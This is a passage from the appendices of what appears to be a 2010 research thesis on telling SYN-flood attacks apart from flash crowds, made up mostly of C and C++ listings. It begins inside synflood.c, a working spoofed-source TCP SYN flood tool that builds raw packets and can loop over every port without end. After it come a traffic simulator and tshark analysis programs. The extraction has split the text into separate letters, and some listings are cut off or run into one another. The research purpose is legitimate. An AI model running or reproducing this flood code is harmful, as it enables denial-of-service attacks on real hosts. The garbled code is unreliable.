while ( ( c=getopt ( argc , argv , ” 8 : s : t : p : a : ” ) )>=0) {
switch ( c ) {
case ’ s ’ : /∗ Source ( spoo fed ) h os t ∗/
unreachable=nameResolve ( optarg ) ;
s t rncpy (u , optarg , 2 0 ) ;
break ;
case ’ t ’ : /∗ Target ho s t ∗/
t a r g e t=nameResolve ( optarg ) ;
s t rncpy ( t , optarg , 2 0 ) ;
break ;
case ’ p ’ : /∗ Target por t ∗/
port=a t o i ( optarg ) ;
break ;
case ’ 8 ’ : /∗ i n f i n i t y s w i t c h ∗/
port =0;
break ;
case ’ a ’ : /∗ Amount o f SYNs to send ∗/
amount=a t o i ( optarg ) ;
/∗ f p r i n t f ( s t d e r r ,” amount:%d\n” , amount ) ; ∗/
break ;
default : /∗ WTF? ∗/
usage ( argv [ 0 ] ) ;
}
}
i f ( ! port ) {
p r i n t f ( ”\n\nFlooding t a r g e t : \ t \ t%u\nOn por t s \ t \ t \ t1−%d\
nAmount : \ t \ t \ t%u\nPuportedly from : \ t \ t%u\n” , target ,
MAXPORT, amount , unreachable ) ;
f l o o d ( sock1 , unreachable , target , 0 , amount ) ;
}
else {
p r i n t f ( ”\n\nFlooding t a r g e t : \ t \ t%u\nOn port : \ t \ t \ t%u\
nAmount : \ t \ t \ t%u\nPuportedly from : \ t \ t%u \n” , target ,
port , amount , unreachable ) ;
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f l o o d ( sock1 , unreachable , target , port , amount ) ;
}
e x i t (0 ) ;
}
/∗ Flood . This i s main workhorse o f the program .
∗ IP and TCP header ∗ c o n s t r u c t i o n occurs here , as does
f l o o d i n g . ∗/
void f l o o d ( int sock , unsigned sadd , unsigned dadd , u shor t dport ,
int amount ) {
unsigned short in cksum (unsigned short ∗ , int ) ;
struct packet {
struct iphdr ip ;
struct tcphdr tcp ;
} packet ;
struct pseudo header { /∗ For TCP header checksum ∗/
unsigned int s o u r c e add r e s s ;
unsigned int d e s t a d d r e s s ;
unsigned char p la c eho ld e r ;
unsigned char pro to co l ;
unsigned short t c p l e n g t h ;
struct tcphdr tcp ;
} pseudo header ;
struct sockaddr in s i n ; /∗ IP address in format ion ∗/
register int i =0, j =0; /∗ Counters ∗/
int tsunami =0; /∗ f l a g ∗/
unsigned short spor t=161+getp id ( ) ;
i f ( ! dport ) {
tsunami++; /∗ GOD save them . . . ∗/
f p r i n t f ( s tde r r , ”\nTSUNAMI!\n” ) ;
f p r i n t f ( s tde r r , ”\ n f l ood ing port : ” ) ;
}
/∗ Setup the s i n s t r u c t wi th a d d r e s s i n g in format ion ∗/
s i n . s i n f a m i l y=AF INET ; /∗ I n t e r n e t address f a m i l y ∗/
s i n . s i n p o r t=spor t ; /∗ Source por t ∗/
s i n . s i n addr . s addr=dadd ; /∗ Dest . address ∗/ /∗ Packet
assembly b e g i n s here ∗/
/∗ F i l l in a l l t he TCP header in format ion ∗/
packet . tcp . source=spor t ; /∗ 16− b i t Source por t number ∗/
packet . tcp . des t=htons ( dport ) ; /∗ 16− b i t D e s t i n a t i o n por t ∗/
packet . tcp . seq =49358353+ getp id ( ) ; /∗ 32− b i t Sequence Number
∗/
packet . tcp . ack seq =0; /∗ 32− b i t Acknowledgement Number ∗/
packet . tcp . d o f f =5; /∗ Data o f f s e t ∗/
packet . tcp . r e s1 =0; /∗ r e s e r v e d ∗/
// packe t . t cp . res2 =0; /∗ r e s e r v e d ∗/
packet . tcp . urg =0; /∗ Urgent o f f s e t v a l i d f l a g ∗/
packet . tcp . ack =0; /∗ Acknowledgement f i e l d v a l i d f l a g ∗/
packet . tcp . psh=0; /∗ Push f l a g ∗/
packet . tcp . r s t =0; /∗ Reset f l a g ∗/
packet . tcp . syn =1; /∗ Synchronize sequence numbers f l a g ∗/
packet . tcp . f i n =0; /∗ Finish sending f l a g ∗/
packet . tcp . window=htons (242) ; /∗ 16− b i t Window s i z e ∗/
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packet . tcp . check =0; /∗ 16− b i t checksum ( to be f i l l e d in
be low ) ∗/
packet . tcp . u rg pt r =0; /∗ 16− b i t urgent o f f s e t ∗/ /∗ F i l l in
a l l t he IP header in format ion ∗/
packet . ip . v e r s i on =4; /∗ 4− b i t Version ∗/
packet . ip . i h l =5; /∗ 4− b i t Header Length ∗/
packet . ip . to s =0; /∗ 8− b i t Type o f s e r v i c e ∗/
packet . ip . t o t l e n=htons (40) ; /∗ 16− b i t Tota l l e n g t h ∗/
packet . ip . id=getp id ( ) ; /∗ 16− b i t ID f i e l d ∗/
packet . ip . f r a g o f f =0; /∗ 13− b i t Fragment o f f s e t ∗/
packet . ip . t t l =255; /∗ 8− b i t Time To Live ∗/
packet . ip . p ro to co l=IPPROTO TCP; /∗ 8− b i t Pro toco l ∗/
packet . ip . check =0; /∗ 16− b i t Header checksum ( f i l l e d in
be low ) ∗/
packet . ip . saddr=sadd ; /∗ 32− b i t Source Address ∗/
packet . ip . daddr=dadd ; /∗ 32− b i t D e s t i n a t i o n Address ∗/
/∗ Psuedo−headers needed f o r TCP hdr checksum
( they do not change and do not need to be in the loop ) ∗/
pseudo header . s ou r c e add r e s s=packet . ip . saddr ;
pseudo header . d e s t a d d r e s s=packet . ip . daddr ;
pseudo header . p l a c eho ld e r =0;
pseudo header . p ro to co l=IPPROTO TCP;
pseudo header . t c p l e n g t h=htons (20) ;
while (1 ) { /∗ Main loop ∗/
i f ( tsunami ) {
i f ( j==MAXPORT) {
j =0;
/∗ tsunami =0; break ; ∗/
}
packet . tcp . des t=htons(++j ) ;
f p r i n t f ( s tde r r , ”%d” , j ) ;
f p r i n t f ( s tde r r , ”%c” ,0 x08 ) ;
i f ( j>=10) f p r i n t f ( s tde r r , ”%c” ,0 x08 ) ;
i f ( j>=100) f p r i n t f ( s tde r r , ”%c” ,0 x08 ) ;
i f ( j >=1000) f p r i n t f ( s tde r r , ”%c” ,0 x08 ) ;
i f ( j >=10000) f p r i n t f ( s tde r r , ”%c” ,0 x08 ) ;
}
for ( i =0; i<amount ; i++){ /∗ Flood loop ∗/
/∗ Cert ian header f i e l d s shou ld change ∗/
packet . tcp . source++; /∗ Source por t inc ∗/
packet . tcp . seq++; /∗ Sequence Number inc ∗/
packet . tcp . check =0; /∗ Checksum w i l l need to change ∗/
packet . ip . id++; /∗ ID number ∗/
packet . ip . check =0; /∗ Checksum w i l l need to change ∗/
/∗ IP header checksum ∗/
packet . ip . check=in cksum ( ( unsigned short ∗)&packet . ip
, 2 0 ) ;
/∗ Setup TCP headers f o r checksum ∗/
bcopy ( ( char ∗)&packet . tcp , ( char ∗)&pseudo header . tcp , 2 0 )
;
/∗ TCP header checksum ∗/
packet . tcp . check=in cksum ( ( unsigned short ∗)&
pseudo header , 3 2 ) ;
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/∗ As i t turns out , i f we b l a s t p a c k e t s too f a s t , many
g e t
dropped , as the r e c e i v i n g k e r n e l can ’ t cope ( at l e a s t
on an e t h e r n e t ) . This
v a l u e cou ld be tweaked p r o l l y , but t h a t ’ s up to you
f o r now . . . ∗/
us l e ep (FLOODSLEEP) ; /∗ This i s where we s i t back and
watch i t a l l
come t o g e t h e r ∗/
sendto ( sock ,& packet , 4 0 , 0 , ( struct sockaddr ∗)&sin , s izeof (
s i n ) ) ;
i f ( ! tsunami&&!KEEPQUIET) f p r i n t f ( s tde r r , ” . ” ) ;
}




/∗ IP Family checksum r o u t i n e ( from UNP) ∗/
unsigned short in cksum (unsigned short ∗ptr , int nbytes ) {
register long sum ; /∗ assumes long == 32 b i t s ∗/
u shor t oddbyte ;
register u shor t answer ; /∗ assumes u s h o r t == 16 b i t s ∗/
/∗ Our a lgo r i th m i s simple , us ing a 32− b i t accumulator (sum)
,
∗ we add s e q u e n t i a l 16− b i t words to i t , and at the end ,
f o l d back
∗ a l l the carry b i t s from the top 16 b i t s i n t o the lower 16
b i t s . ∗/
sum = 0 ;
while ( nbytes > 1) {
sum += ∗ptr++;
nbytes −= 2 ; } /∗ mop up an odd byte , i f necessary ∗/
i f ( nbytes == 1) {
oddbyte = 0 ; /∗ make sure top h a l f i s zero ∗/
∗ ( ( u char ∗) &oddbyte ) = ∗( u char ∗) ptr ; /∗ one b y t e on ly
∗/
sum += oddbyte ;
} /∗ Add back carry outs from top 16 b i t s to low 16 b i t s . ∗/
sum = (sum >> 16) + (sum & 0 x f f f f ) ; /∗ add high−16 to low−16
∗/
sum += (sum >> 16) ; /∗ add carry ∗/
answer = ˜sum ; /∗ ones−complement , then t r u n c a t e to 16 b i t s
∗/
return ( answer ) ;
}
/∗ Converts IP a d d r e s s e s ∗/
unsigned nameResolve (char ∗hostname ) {
struct in addr addr ; struct hostent ∗hostEnt ;
i f ( ( addr . s addr=ine t addr ( hostname ) )==−1){
i f ( ! ( hostEnt=gethostbyname ( hostname ) ) ) {
f p r i n t f ( s tde r r , ”Name lookup f a i l u r e : ‘% s ‘\n” , hostname ) ;
e x i t (0 ) ;
}
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bcopy ( hostEnt−>h addr , ( char ∗)&addr . s addr , hostEnt−>
h length ) ;
}
return addr . s addr ;
}
/∗ SIGALRM s i g n a l hand ler . Souper s imple . ∗/
int alarmHandler ( ) {
HANDLERCODE=0; /∗ shame on me f o r us ing g l o b a l vars ∗/
alarm (0) ;
s i g n a l (SIGALRM, SIG DFL) ;
return (0 ) ;
}
/∗ Usage f u n c t i o n . . . ∗/
void usage ( nomenclature )
char ∗nomenclature ; {
f p r i n t f ( s tde r r , ”\nUSAGE: %s \
\n\ t −s unreachab l e hos t \
\n\ t −t t a r g e t h o s t \
\n\ t −p port [ 0 a l l por t s ] \
\n\ t −a amount of SYNs\
\n\n” , nomenclature ) ;
e x i t (0 ) ;
}
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Listing B.2: A basic Windows program.
/∗
Flash Crowd Simulator − f l a s h c r o w d . cpp
Written by Tim Jordan 2010.
This program runs a f l a s h crowd s i m u l a t i o n f o r a computer
us ing a vary ing time i n t e r v a l f o r system () c a l l s .
Written in the s t y l e o f a s t a t e machine , to a l l o w f o r




#include<s t r i ng>
#include<cmath>
#include<s t d l i b . h>
#include<time . h>
using namespace std ;
int main ( ) {
cout << ” Flash Crowd Simulator , wr i t t en by Tim Jordan
2010” << endl ;
t ime t rawtime ;
struct tm ∗ t ime in f o ;
f loat f r e q = 4 , p r ev f r eq ; // i n i t i a l s i m u l a t i o n v a l u e
f loat maxfreq = 200 , minfreq = 4 ; //100 200 req /min
t ime t s ta r t t ime , endtime ;
double t ime to s l e ep ;
f loat minelapsed = 0 ;
int st ime = int (1/ f r e q ) ; // i n i t i a l sec / req v a l u e
int n o i s e v a l = 0 , n o i s e f a c t o r , numpass ; // random i n t
to c r e a t e some noi se on the r e q u e s t / sec
f loat timerem = 1000000; // microseconds remaining
b e f o r e l o o p i n g
bool hitmax = fa l se ;
// d e f i n e time v a r i a b l e s to s e t d i f f e r e n t p e r i o d s
w i t h i n the s i m u l a t i o n .
int i n t e r v a l s [ 5 ] = {1 , 300 , 400 , 600 , 1300} ; // time
in minutes
s t r i n g in t e rva lDe s c [ 5 ] = {”Normal” , ” I n c r e a s i n g ” , ”
Decreas ing ” , ”Normal” , ”Stopped” } ;
int intNo = 0 ;
srand ( time (NULL) ) ; // seed random number gen
for ( int i = 0 ; i < 1440 ; i++) { // do minute long
l o o p s
// system (” date ”) ; // d i s p l a y time f o r
debugg ing purposes
time(& s t a r t t i m e ) ;
i f ( i >= i n t e r v a l s [ intNo +1]) { intNo++; /∗ cout
<< ”Running in ” << i n t e r v a l D e s c [ intNo ] <<
” mode .” << end l ; ∗/}
// cout << ” i = ” << i << ” intNo = ” << intNo
<< end l ;
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i f ( i > 100) { n o i s e f a c t o r = 20 ; } else {
n o i s e f a c t o r = i ; } // s e t a cap on amount
o f no i se
timerem = 60000000;
// t h i s s w i t c h c a l c s number o f t imes to c a l l
system () in t h i s pass o f the loop
switch ( intNo ) {
case 0 : // normal l e v e l s
n o i s e v a l = ( rand ( ) % 4) ;
f r e q = 4 ; // 5 r e q u e s t s per
min
// st ime = i n t (1/( f r e q +(
n o i s e v a l ) ) ) ;
numpass = int ( f r e q+n o i s e v a l ) ;
// cout << ”numpass = ” <<
numpass << ” f r e q = ” <<
f r e q << end l ;
// cout << ”numpass = ” <<
numpass << ” st ime = ” <<
s t ime << end l ;
break ;
case 1 : // s t a r t i n g o f f slow ,
e x p o n e n t i a l growth at end .
n o i s e v a l = ( rand ( ) % 10) ∗0 .1∗
n o i s e f a c t o r ;
f r e q = (1 .05∗ prev f r eq ) ;
i f ( f r e q > maxfreq ) { f r e q =
maxfreq + ( f loat ( n o i s e v a l )
/1000000) ; hitmax = true ;}
// st ime = i n t (1/( f r e q +(
n o i s e v a l /1000000) ) ) ;
numpass = int ( f r e q+n o i s e v a l ) ;
// cout << ”numpass = ” <<
numpass << ” f r e q = ” <<
f r e q << end l ;
// timerem = timerem − s t ime ;
// cout << ”timerem = ” <<
timerem << end l ;
break ;
case 2 : // s t a t i c r e q u e s t s /min f r e q =
s t a t i c , no i se vary ing
timerem = 0 ;
n o i s e v a l = ( rand ( ) % 10) ∗0 .1∗
n o i s e f a c t o r ;
n o i s e v a l = n o i s e v a l − (5∗0 .1∗
n o i s e f a c t o r ) ;
f r e q = prev f r eq ; // s t a t i c req
/min
// st ime = i n t (1/( f r e q +(
n o i s e v a l /1000000) ) ) ;
numpass = int ( f r e q+n o i s e v a l ) ;
// cout << ”numpass = ” <<
numpass << ” f r e q = ” <<
f r e q << end l ;
break ;
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case 3 : // e x p o n e n t i a l decrease in
volume , l i n e a r decrease in no i se
n o i s e v a l = ( rand ( ) % 10)
∗0 .002∗ ( i n t e r v a l s [ intNo +1]
− i ) ;
n o i s e v a l = n o i s e v a l −
(5∗0 .005∗ ( i n t e r v a l s [ intNo
+1] − i ) ) ;
// f r e q = p r e v f r e q − (0 .001∗ ( i
− i n t e r v a l s [ intNo ] ) ) ;
f r e q = prev f r eq − 0 .005∗
prev f r eq ;
i f ( f r e q < minfreq ) { f r e q =
minfreq ; }
i f ( f r e q+n o i s e v a l < 0) {
n o i s e v a l = 0 ; }
// st ime = i n t (1/( f r e q +(
n o i s e v a l /1000000) ) ) ;
numpass = int ( f r e q+n o i s e v a l ) ;
// cout << ”numpass = ” <<
numpass << ” f r e q = ” <<
f r e q << end l ;
break ;
case 4 : // normal volume , s t a t i c no i se
n o i s e v a l = ( rand ( ) % 4) ;
f r e q = 4 ; // 5 r e q u e s t s per
min
numpass = int ( f r e q+n o i s e v a l ) ;
// cout << ”numpass = ” <<
numpass << ” f r e q = ” <<
f r e q << end l ;
break ;
}
t ime in f o = l o c a l t i m e (& s t a r t t i m e ) ;
cout << ”Time = ” << asct ime ( t ime in f o
) << ” Requests /Min = ” << numpass
<< endl ;
for ( int j = 0 ; j < numpass ; j++) {
// cout << ” f r e q = ” << f r e q
∗1000000 << end l ;
system ( ” f tp − i −n
192 . 169 . 56 . 101 < /home/tim/
f t p s c r > /dev/ n u l l&” ) ; //do
the f t p command here
// system (” cat / e t c / crontab > /




t ime to s l e ep = d i f f t i m e ( endtime ,
s t a r t t i m e ) ;
t ime to s l e ep = 60 − t ime to s l e ep ;
i f ( t ime to s l e ep < 0) { t ime to s l e ep =
0 ; }
cout << ”About to s l e e p f o r ” <<
t ime to s l e ep << ” seconds . . . ” <<
endl ;
B.2 synflood.c Source Code Listing 85
us l e ep ( t ime to s l e ep ∗1000000) ;







Data Analysis Source Code
All source code listed in this appendix is available in electronic format upon request.
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C.1 Introduction to this Appendix
This appendix contains the source code listings for the data analysis programs used in
this paper.
C.2 The procFramerate.cpp Linux C++ Code
This code was used to perform the extraction and analysis of the all traffic.
Listing C.1: Program to extract packet flow by TCP flag.
#include<iostream>
#include<fstream>
#include<s t r i ng>
#include<s t d l i b . h>
#define ARRAY SIZE 100
using namespace std ;
// us ing namespace i o s ;
void systemCal l ( s t r i n g command) ;
int main ( ) {
// some program i n t r o s t u f f
cout << ”Program to proce s s Packet t r a c e s to e x t r a c t
packet / sec & bytes / sec data . ” << endl ;
cout << ” Written by Tim Jordan 2010 . ” << endl ;
cout << ”Outputs r e s u l t s to e x c e l f r i e n d l y csv f i l e . ”
<< endl ;
// var d e c l a r a t i o n s
i f s t r e a m d i r L i s t ;
o f s tream outF i l e ;
s t r i n g f i l e L i n e , commStr , i n f i l e , t r a c eD i r ;
const char ∗ commStrc ;
s i z e t pos1 ;
s i z e t pos2 ;
int timeStamp = 0 ;
// ok , l e t s g e t the l i s t o f f i l e s to pro ces s
cout << ” Enter the d i r e c t o r y where the packet t r a c e
f i l e s are : ” ;
c in >> t raceD i r ;
commStr = ” l s −−format=s i n g l e−column ” + traceD i r + ”
> l s o u t . txt ” ;
systemCal l ( commStr ) ;
// system (” l s −−format=s i n g l e−column . . /\” Data Se t s \”/
s y n f l o o d 2 / s y n f l o o d 2 ∗ > l s o u t . t x t ”) ;
d i r L i s t . open ( ” l s o u t . txt ” ) ;
ou tF i l e . open ( ” frameout . csv ” ) ;
ou tF i l e << ”Time , packets / sec , bytes / sec ” << endl ;
g e t l i n e ( d i r L i s t , i n f i l e ) ;
while ( ! d i r L i s t . e o f ( ) ) {
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commStr = ” tshark −r \”” + i n f i l e + ”\” −q −z
io , s tat , 1 > p r o c F i l e ” ;
systemCal l ( commStr ) ;
cout << commStr << endl ;
//now we need to loop through d i r l i s t i n g
g a t h e r i n g s t a t s on dns q u e r i e s /min
i f s t r e a m i n p u t F i l e ;
i n p u t F i l e . open ( ” p r o c F i l e ” ) ;
// re−i n i t loop vars
g e t l i n e ( inputF i l e , f i l e L i n e ) ;
while ( f i l e L i n e . subs t r ( 0 , 4 ) != ”Time” ) {
g e t l i n e ( inputF i l e , f i l e L i n e ) ; } // don ’ t
pr oces s non−data l i n e s
g e t l i n e ( inputF i l e , f i l e L i n e ) ;
while ( ! i n p u t F i l e . e o f ( ) )
{
// f i n d the f i r s t space
int metr ic [ 2 ] = {0 . 0} ;
pos1 = f i l e L i n e . f i n d ( ” ” ) ;
while ( f i l e L i n e . subs t r ( pos1 +1 ,1) == ” ”
) { pos1 ++; /∗ cout << ”SPACE” <<
end l ; ∗/ } // keep going t i l l we
f i n d data
// cout << ” pos1 = [” << pos1 << ” ]
s u b s t r = [” << f i l e L i n e . s u b s t r ( pos1
+1 ,1) << ”]” << end l ; // debug
output
i f ( pos1 < f i l e L i n e . l ength ( ) ) {
pos2 = f i l e L i n e . subs t r ( pos1+1)
. f i n d ( ” ” ) ;
// cout << ” pos2 = ” << pos2 <<
end l ; debug output
metr ic [ 0 ] = a t o i ( f i l e L i n e .
subs t r ( pos1 , pos2+pos1 ) .
c s t r ( ) ) ;
pos1 = pos1 + pos2 + 1 ;
while ( f i l e L i n e . subs t r ( pos1
+1 ,1) == ” ” ) { pos1 ++; /∗
cout << ”SPACE” << end l ; ∗/
} // keep going t i l l we
f i n d data
pos2 = f i l e L i n e . subs t r ( pos1 ) .
f i n d ( ” ” ) ;
metr ic [ 1 ] = a t o i ( f i l e L i n e .
subs t r ( pos1 , pos2+pos1 ) .
c s t r ( ) ) ;
// cout << ” metr ic [ 0 ] = [” <<
metric [ 0 ] << ” ] metr ic [ 1 ] =
[” << metric [ 1 ] << ”]” <<
end l ;
}
//now pr oce ss the metr ic
timeStamp++;
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ou tF i l e << timeStamp << ” , ” << metr ic
[ 0 ] << ” , ” << metr ic [ 1 ] << endl ;
g e t l i n e ( inputF i l e , f i l e L i n e ) ;
}
g e t l i n e ( d i r L i s t , i n f i l e ) ;
}
ou tF i l e . c l o s e ( ) ;
cout << ” Proce s s ing Complete .\n” ;
}
void systemCal l ( s t r i n g command) {
system (command . c s t r ( ) ) ;
return ;
}
C.3 The extractFlags.cpp Linux C++ Code 90
C.3 The extractFlags.cpp Linux C++ Code
This code was used to perform the TCP flag extraction and analysis.
Listing C.2: Program to extract packet flow by TCP flag.
/∗
Author : Tim Jordan 2010
Input : One Packet t r a c e f i l e ( l i b p a c p
compat i b l e ) .
Output : SYN Flags / sec , ACK Flags / sec ,
FIN Flags / sec , Ratio , Cusum o f SYN/ACK/FIN packe t
d i s t r i b u t i o n .
D e s c r i p t i o n o f Operation : S p l i t s t r a c e up to s e p a r a t e
t r a c e s c o n t a i n i n g SYN, FIN and ACK p a c k e t s . Each f i l e i s
then processed .
Notes : Runs on Linux system , r e q u i r e s





#include<s t r i ng>
#include<s t d l i b . h>
#define ARRAY SIZE 100
#define SAMPLES PER FILE 150
using namespace std ;
void systemCal l ( s t r i n g command) ;
f loat getMetr i c ( s t r i n g l i n e ) ;
int main ( int argc , char∗ argv [ ] ) {
// some program i n t r o s t u f f
cout << ”Program to proce s s Packet t r a c e s to e x t r a c t
packet / sec & bytes / sec data . ” << endl ;
cout << ” Written by Tim Jordan 2010 . ” << endl ;
cout << ”Outputs r e s u l t s to e x c e l f r i e n d l y csv f i l e . ”
<< endl ;
// var d e c l a r a t i o n s
i f s t r e a m d i r L i s t , f lagCheck ;
o fstream outF i l e ;
s t r i n g commStr , i n f i l e , t raceDir , f l a g a r r [ARRAY SIZE ] ;
const char ∗ commStrc ;
s i z e t pos1 ;
s i z e t pos2 ;
int f i l eCount = 0 , index = 0 , timeStamp = 0 ;
cout << ” I n i t i a l i s i n g . . . ” << endl ;
ou tF i l e . open ( ” synout . csv ” ) ;
ou tF i l e << ”Time , ” ;
f lagCheck . open ( ” f lagCheck . txt ” ) ;
do {
s t r i n g temp ;
g e t l i n e ( f lagCheck , temp ) ;
f l a g a r r [ index ] = temp ;
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ou tF i l e << f l a g a r r [ index ] << ” packets , ” <<
f l a g a r r [ index ] << ” bytes , ” ;
index++;
} while ( ! f lagCheck . eo f ( ) ) ;
ou tF i l e << endl ;
// ok , l e t s g e t the l i s t o f f i l e s to pro ces s
cout << ” Enter the d i r e c t o r y where the packet t r a c e
f i l e s are : ” ;
c in >> i n f i l e ;
//commStr = ” l s −−format=s i n g l e−column ” + i n f i l e + ”
> l s o u t . t x t ” ;
// sys temCal l ( commStr ) ;
// ok , l e t s g e t the l i s t o f f i l e s to pro ces s
system ( ” l s −−format=s i n g l e−column /home/tim/temp/
syn f l ood7 /∗ > l s o u t . txt ” ) ; // change t h i s to
r e q u i r e d d i r e c t o r y
d i r L i s t . open ( ” l s o u t . txt ” ) ;
g e t l i n e ( d i r L i s t , i n f i l e ) ;
ou tF i l e << timeStamp << ” , ” ;
while ( ! d i r L i s t . e o f ( ) ) {
f i l eCount++;
i f s t r e a m i n p u t F i l e [ index ] ;
s t r i n g f i l e L i n e [ index ] ;
for ( int i = 0 ; i < index −1; i++) {
s t r i n g f i l e e x t ;
s t r i ng s t r eam ss ;
s s << i ; f i l e e x t = s s . s t r ( ) ;
// f i l t e r IP address
cout << ” F i l t e r i n g f i l e #” << i+1 << ” . . . ” <<
endl ;
commStr = ” tshark −R \”” + f l a g a r r [ i ] + ” ==
1\” −r \”” + i n f i l e + ”\” −w o u t f i l e s /
f l a g o u t f i l e ” + f i l e e x t ;
cout << commStr << endl ;
commStrc = commStr . c s t r ( ) ;
system ( commStrc ) ;
// run s t a t a n a l y s i s on f i l t e r e d t r a c e
cout << ” F i l t e r i n g done . Now Analys ing f i l e #”
<< i+1 << ” . . . ” << endl ;
commStr = ” tshark −r o u t f i l e s / f l a g o u t f i l e ” +
f i l e e x t + ” −q −z io , s tat , 1 > o u t f i l e s /
f l a g p r o c F i l e ” +f i l e e x t ;
commStrc = commStr . c s t r ( ) ;
cout << commStr << endl ;
system ( commStrc ) ;
i n p u t F i l e [ i ] . open ( ( ” o u t f i l e s / f l a g p r o c F i l e ” +
f i l e e x t ) . c s t r ( ) ) ;
g e t l i n e ( i n p u t F i l e [ i ] , f i l e L i n e [ i ] ) ;
// don ’ t proc es s non−data l i n e s
cout << ” Ana lys i s done . Now priming up f i l e to
be proce s s ed . . . ” << endl ;
do { g e t l i n e ( i n p u t F i l e [ i ] , f i l e L i n e [ i ] ) ; }
while ( f i l e L i n e [ i ] . subs t r ( 0 , 4 ) != ”Time” ) ;
g e t l i n e ( i n p u t F i l e [ i ] , f i l e L i n e [ i ] ) ;
}
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cout << ”Now outputt ing data to CSV f i l e . . . ” << endl ;
bool l oopvar = true , l ineadded = fa l se ;
int l i n e s P r o c e s s e d = 0 ;
while ( loopvar )
{
int eofCount = 0 , t o t a l [ 2 ] = {0 . 0} ;
l ineadded = fa l se ;
for ( int i = 0 ; i < index −1; i++) {
i f ( i n p u t F i l e [ i ] . e o f ( ) ) { eofCount ++;
}
}
i f ( eofCount >= index−1 && l i n e s P r o c e s s e d >=
SAMPLES PER FILE) { l oopvar = fa l se ;
continue ;}
for ( int i = 0 ; i < index −1; i++) {
//now pr oce ss the metr ic
int metr ic [ 2 ] = {0 . 0} ;
i f ( f i l e L i n e [ i ] . subs t r ( 0 , 1 ) == ”=” ) {
g e t l i n e ( i n p u t F i l e [ i ] , f i l e L i n e [ i ] ) ;}
pos1 = f i l e L i n e [ i ] . f i n d ( ” ” ) ;
while ( f i l e L i n e [ i ] . subs t r ( pos1 +1 ,1) ==
” ” ) { pos1 ++; /∗ cout << ”SPACE”
<< end l ; ∗/ } // keep going t i l l we
f i n d data
// cout << ” pos1 = [” << pos1 << ” ]
s u b s t r = [” << l i n e . s u b s t r ( pos1
+1 ,1) << ”]” << end l ; // debug
output
i f ( pos1 < f i l e L i n e [ i ] . l ength ( ) ) {
pos2 = f i l e L i n e [ i ] . subs t r ( pos1
+1) . f i n d ( ” ” ) ;
// cout << ” pos2 = ” << pos2 <<
end l ; debug output
metr ic [ 0 ] = a t o i ( f i l e L i n e [ i ] .
subs t r ( pos1 , pos2+pos1 ) .
c s t r ( ) ) ;
pos1 = pos1 + pos2 + 1 ;
while ( f i l e L i n e [ i ] . subs t r ( pos1
+1 ,1) == ” ” ) { pos1 ++; /∗
cout << ”SPACE” << end l ; ∗/
} // keep going t i l l we
f i n d data
pos2 = f i l e L i n e [ i ] . subs t r ( pos1
) . f i n d ( ” ” ) ;
metr ic [ 1 ] = a t o i ( f i l e L i n e [ i ] .
subs t r ( pos1 , pos2+pos1 ) .
c s t r ( ) ) ;
}
t o t a l [ 0 ] = t o t a l [ 0 ] + metr ic [ 0 ] ; t o t a l
[ 1 ] = t o t a l [ 1 ] + metr ic [ 1 ] ;
ou tF i l e << metr ic [ 0 ] << ” , ” << metr ic
[ 1 ] << ” , ” ;
g e t l i n e ( i n p u t F i l e [ i ] , f i l e L i n e [ i ] ) ;
l ineadded = true ;
}
i f ( l ineadded ) {
C.3 The extractFlags.cpp Linux C++ Code 93
timeStamp++;
ou tF i l e << ” , ” << t o t a l [ 0 ] << ” , ” <<
t o t a l [ 1 ] << endl << timeStamp << ” ,
” ;
l i n e s P r o c e s s e d++;
}
}
g e t l i n e ( d i r L i s t , i n f i l e ) ;
}
cout << ” Proce s s ing Complete .\n” ;
}
void systemCal l ( s t r i n g command) {
system (command . c s t r ( ) ) ;
return ;
}
f loat getMetr i c ( s t r i n g l i n e ) {
s i z e t pos1 , pos2 ;
f loat metr ic ;
// cout << ” l i n e = [” << l i n e << ”]” << end l ;
pos1 = l i n e . f i n d ( ” ” ) ;
while ( l i n e . subs t r ( pos1 +1 ,1) == ” ” ) { pos1 ++; /∗ cout
<< ”SPACE” << end l ; ∗/ } // keep going t i l l we f i n d
data
// cout << ” pos1 = [” << pos1 << ” ] s u b s t r = [” << l i n e
. s u b s t r ( pos1 +1 ,1) << ”]” << end l ; // debug output
i f ( pos1 < l i n e . l ength ( ) ) {
pos2 = l i n e . subs t r ( pos1+1) . f i n d ( ” ” ) ;
// cout << ” pos2 = ” << pos2 << end l ; debug
output
metr ic = a t o i ( l i n e . subs t r ( pos1 , pos2+pos1 ) .
c s t r ( ) ) ;
} else {metr ic = 0 . 0 ; /∗empty v a l u e ∗/}
return metr ic ;
}
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C.4 The procPhs.cpp Linux C++ Code
The code was used to extract the protocol hierarchy statistics for the change detector.
Listing C.3: Program to extract packet flow by TCP protocol.
#include<iostream>
#include<fstream>
#include<s t r i ng>
#include<s t d l i b . h>
//#inc lude<a s s e r t>
#define ARRAY SIZE 100
using namespace std ;
// us ing namespace i o s ;
int main ( ) {
i f s t r e a m d i r L i s t ;
o f s tream outF i l e ;
s t r i n g f i l e L i n e , commStr , i n f i l e , sub l ine , l i n e t y p e ;
s t r i n g proto [ARRAY SIZE ] ;
const char ∗ commStrc ;
s i z e t pos1 ;
s i z e t pos2 ;
bool capture = fa l se ;
f loat metr ic = 0 . 0 ;
f loat cusumPrev = 0 . 0 ;
f loat cusumCur = 0 . 0 ;
f loat minVal = 0 . 0 ;
int sampleNum = 1 ;
int metWeight = 500 ;
int totSample = 3541 ;
int httpFrames , dnsFrames , typeArrCount = 0 , arrPos ,
added , f i l eCount = 0 ;
// ok , l e t s g e t the l i s t o f f i l e s to pro ces s
system ( ” l s −−format=s i n g l e−column /home/tim/temp/dns2
/∗ > l s o u t . txt ” ) ; // change t h i s to r e q u i r e d
d i r e c t o r y
d i r L i s t . open ( ” l s o u t . txt ” ) ;
ou tF i l e . open ( ” o u t f i l e s / phsout . csv ” ) ;
g e t l i n e ( d i r L i s t , i n f i l e ) ;
while ( ! d i r L i s t . e o f ( ) ) {
commStr = ” tshark −r ” + i n f i l e + ” −q −z io ,
phs > p r o c F i l e ” ;
f i l eCount ++;
i f ( ( f i l eCount % 50) == 0 ) { cout << ”
proce s sed ” << f i l eCount << ” f i l e s . . . ” <<
endl ; }
commStrc = commStr . c s t r ( ) ;
system ( commStrc ) ;
// cout << i n f i l e << end l ;
// zero out the metr ic s
int protoArr [ARRAY SIZE] = {0} ;
i f s t r e a m i n p u t F i l e ;
i n p u t F i l e . open ( ” p r o c F i l e ” ) ;
// re−i n i t loop vars
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g e t l i n e ( inputF i l e , f i l e L i n e ) ;
while ( ! i n p u t F i l e . e o f ( ) )
{
// cout << f i l e L i n e << end l ;
